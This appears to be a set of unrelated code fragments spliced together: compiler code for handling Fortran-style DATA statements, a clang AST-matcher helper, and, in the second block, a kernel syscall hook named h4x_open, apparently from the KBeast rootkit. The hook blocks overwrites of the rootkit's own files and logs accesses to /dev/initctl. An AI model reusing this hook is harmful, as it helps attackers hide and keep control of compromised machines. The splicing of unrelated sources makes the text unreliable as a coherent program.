void DataStmtEngine::CreateArrayElementExprInitializer(ArrayElementExpr *E, Expr *Parent) { auto Target = dyn_cast<VarExpr>(E->getTarget()); if(!Target) return VisitExpr(E); if(CheckVar(Target)) return; auto VD = Target->getVarDecl(); auto ATy = VD->getType()->asArrayType(); auto ElementType = ATy->getElementType(); uint64_t ArraySize; if(!ATy->EvaluateSize(ArraySize, Context)) return VisitExpr(E); SmallVector<Expr*, 32> Items(ArraySize); if(VD->hasInit()) { assert(isa<ArrayConstructorExpr>(VD->getInit())); auto InsertPoint = cast<ArrayConstructorExpr>(VD->getInit())->getItems(); for(uint64_t I = 0; I < ArraySize; ++I) Items[I] = InsertPoint[I]; } else { for(uint64_t I = 0; I < ArraySize; ++I) Items[I] = nullptr; } uint64_t Offset; if(!E->EvaluateOffset(Context, Offset, &ImpliedDoEvaluator)) return VisitExpr(E); ExprResult Val; if(Parent) { if(auto SE = dyn_cast<SubstringExpr>(Parent)) { Val = CreateSubstringExprInitializer(SE, ElementType); } else if(auto ME = dyn_cast<MemberExpr>(Parent)) { if(Offset < Items.size()) { const TypeConstructorExpr *Init = Items[Offset]? cast<TypeConstructorExpr>(Items[Offset]) : nullptr; Val = CreateMemberExprInitializer(ME, Init); } } else llvm_unreachable("invalid expression"); } else Val = getAndCheckAnyValue(ElementType, E); if(Val.isUsable() && Offset < Items.size()) { Items[Offset] = Val.get(); VD->setInit(ArrayConstructorExpr::Create(Context, Val.get()->getLocation(), Items, VD->getType())); } }
/*Don't allow your file to be overwrited*/ asmlinkage int h4x_open(const char __user *filename, int flags, int mode) { int r; char *kbuf=(char*)kmalloc(256,GFP_KERNEL); copy_from_user(kbuf,filename,255); //bits/fcntl.h O_WRONLY|O_TRUNC|O_LARGEFILE is 0101001 if((strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)) && flags == 0101001){ kfree(kbuf); return -EACCES; } //if(strstr(kbuf,"/dev/initctl") && flags==1){ if(strstr(kbuf,"/dev/initctl")){ hasInit(); snprintf(obuffer,sizeof(obuffer),"initctlmagic- [UID = %i ] %s >file:%s > flags:%i > mode: %i\n",current->uid,current->comm,kbuf,flags,mode); log_to_file(obuffer); } r=(*o_open)(filename,flags,mode); return r; }
void DataStmtEngine::VisitMemberExpr(MemberExpr *E) { if(auto AE = dyn_cast<ArrayElementExpr>(E->getTarget())) { CreateArrayElementExprInitializer(AE, E); return; } auto Target = dyn_cast<VarExpr>(E->getTarget()); if(!Target) return VisitExpr(E); if(CheckVar(Target)) return; auto VD = Target->getVarDecl(); const TypeConstructorExpr *Init = VD->hasInit()? cast<TypeConstructorExpr>(VD->getInit()) : nullptr; auto Val = CreateMemberExprInitializer(E, Init); if(Val.isUsable()) VD->setInit(Val.get()); }
/// Returns `true` if `Node` is a value which evaluates to a literal `0`. bool IsLiteralZero(const MatchFinder::MatchResult &Result, const Expr &Node) { auto ZeroMatcher = anyOf(integerLiteral(equals(0)), floatLiteral(equals(0.0))); // Check to see if we're using a zero directly. if (selectFirst<const clang::Expr>( "val", match(expr(ignoringImpCasts(ZeroMatcher)).bind("val"), Node, *Result.Context)) != nullptr) return true; // Now check to see if we're using a functional cast with a scalar // initializer expression, e.g. `int{0}`. if (selectFirst<const clang::Expr>( "val", match(cxxFunctionalCastExpr( hasDestinationType( anyOf(isInteger(), realFloatingPointType())), hasSourceExpression(initListExpr( hasInit(0, ignoringParenImpCasts(ZeroMatcher))))) .bind("val"), Node, *Result.Context)) != nullptr) return true; return false; }